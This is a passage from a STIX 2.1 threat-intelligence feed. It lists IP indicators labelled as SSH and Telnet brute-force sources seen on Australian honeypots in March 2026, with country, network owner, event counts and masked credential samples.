      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--36e19497-dce2-44be-b352-95a1a977d843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T07:17:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.76.124.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T07:17:25.000Z",
      "valid_until": "2026-04-14T07:15:11.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--5578376b-eb5d-4320-80de-0bd7ff653151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.14.162.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 108. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--765b65b3-d7f9-4d11-b19e-06dec03717b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.196.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom.",
      "id": "indicator--6de113a5-feca-441e-8e69-6756de73dd74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.88.167.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): a***e, l*****o. Passwords observed (masked): 1******8, l********3.",
      "id": "indicator--8d869beb-a45b-45bc-9e24-6fc64d8b135f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.253.156.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--9284d899-e7e0-4258-9b69-31723204c42c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.182.137.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--2b2ad8fe-24ba-4df7-aa20-26b33c6a5763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.62.200.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--1a4e9fa6-4c2a-47a0-a802-34ab2e2564e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.62.243.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): G************1, U*************************************************************************************************************************6, **, O*********************************0. Passwords observed (masked): A*******************p, H**********************3, **, C********2.",
      "id": "indicator--4b70d9a7-2040-47b1-a925-1c53c21c5080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.195.156.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T09:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--28b0621a-c750-4864-8685-c5a28b086091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T09:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.13.23.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:15:53.000Z",
      "valid_until": "2026-04-14T09:15:13.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--ef23a9e8-1bd8-41a1-b282-c9b871c4cb64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.64.207.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, c****e, r**o, s*******e, ***. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, F******3.",
      "id": "indicator--967e3337-2640-4291-b8c8-7da9c5754276",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, T**t, a***e, b***o. Passwords observed (masked): 1******8, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--471c6c0d-184c-4120-84c4-7e36f2bee5f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.33.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): c****e, 3**********4. Passwords observed (masked): 3***********4, 3**********4, p******d.",
      "id": "indicator--fb44fe46-2cc1-4670-8b0a-175b66233d37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.21.53.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): c****e, e****e, r**t, 3**********4, j****k. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, K****!.",
      "id": "indicator--c309c8b1-51f5-4100-98d4-1f9c4f158343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.251.123.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 48347. Organisation(s): JSC Mediasoft ekspert.",
      "id": "indicator--7963fbb9-bd24-425d-ae9d-6525a3ab722e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.132.19.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T11:20:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n**e, ***, s****a, u****u, v*******r. Passwords observed (masked): n**e, ***, s****a, u****u, v*******r.",
      "id": "indicator--db9c8cff-bc9b-41bb-b4ed-f164caf41f71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T11:20:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.55.134.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T11:20:08.000Z",
      "valid_until": "2026-04-14T11:15:11.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--2d65be8a-d1e9-4597-b36a-05d246626f3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.165.200.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262887. Organisation(s): RAPIX INTERNET.",
      "id": "indicator--ebbd5650-1789-4229-844d-ea5837d37a1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.94.234.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 264. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, z****x, h****p, o****e. Passwords observed (masked): 1**4, 1***5, 1****6, 1*****7, 1******8.",
      "id": "indicator--09773798-a063-4dd6-9049-0efc4b62e40b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.203.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8381c22b-5aa9-4a55-9966-f9bfecf84828",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--ca24d4e9-4100-487c-a71c-7cb06b283511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.212.3.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--c502d65f-01d3-4a8c-bcf9-7dcd9a3b29ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.54.237.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): g**s, r**t, 3**********4, c****e, d****n. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, A*******6.",
      "id": "indicator--bc2839d1-4319-46d3-b8d0-6849e01032e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.191.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--0a674082-d8e0-406e-8a54-65517e8c2a7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.239.203.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--21963fa6-935b-4c3f-9c17-5d71ac2da0aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.222.195.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 48011. Organisation(s): Turunc Smart Bilgisayar Teknoloji Ve Dis Ticaret Limited Sirketi.",
      "id": "indicator--9ef2aa94-3cff-43fc-8d01-d3dc90578f92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.22.17.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T18:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--e716a9ef-b5a9-40ac-9065-cf6a8fcc340f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T18:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '90.169.19.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:15:27.000Z",
      "valid_until": "2026-04-14T18:15:05.000Z"
    },
    {
      "created": "2026-03-13T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 149089. Organisation(s): CLOUDFLY CORPORATION. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1**4, a***n, r**t.",
      "id": "indicator--cd25da6a-52a1-43fc-82ab-9d2cc6e0d261",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.39.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T19:15:15.000Z",
      "valid_until": "2026-04-14T19:15:12.000Z"
    },
    {
      "created": "2026-03-13T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--00c29172-7ee9-468a-8aac-3bf645e20731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.38.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T19:15:15.000Z",
      "valid_until": "2026-04-14T19:15:12.000Z"
    },
    {
      "created": "2026-03-13T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9956f8dd-40ef-4352-bacf-b891c5ff3fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T19:15:15.000Z",
      "valid_until": "2026-04-14T19:15:12.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): ***, 3**********4, a****s, b****e, d********r. Passwords observed (masked): 1**4, 1****6, 1******8, 2****4, 3***********4.",
      "id": "indicator--85fc5268-81dd-48e0-9294-c55e9afc1e20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.146.23.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151729. Organisation(s): SWIFTIFY PRIVATE LIMITED.",
      "id": "indicator--763c1fc2-98b3-4b74-a798-0b1140035a05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.72.9.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 151185. Organisation(s): China Telecom.",
      "id": "indicator--4383e406-b58f-43cb-93a0-a3be2555e1c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
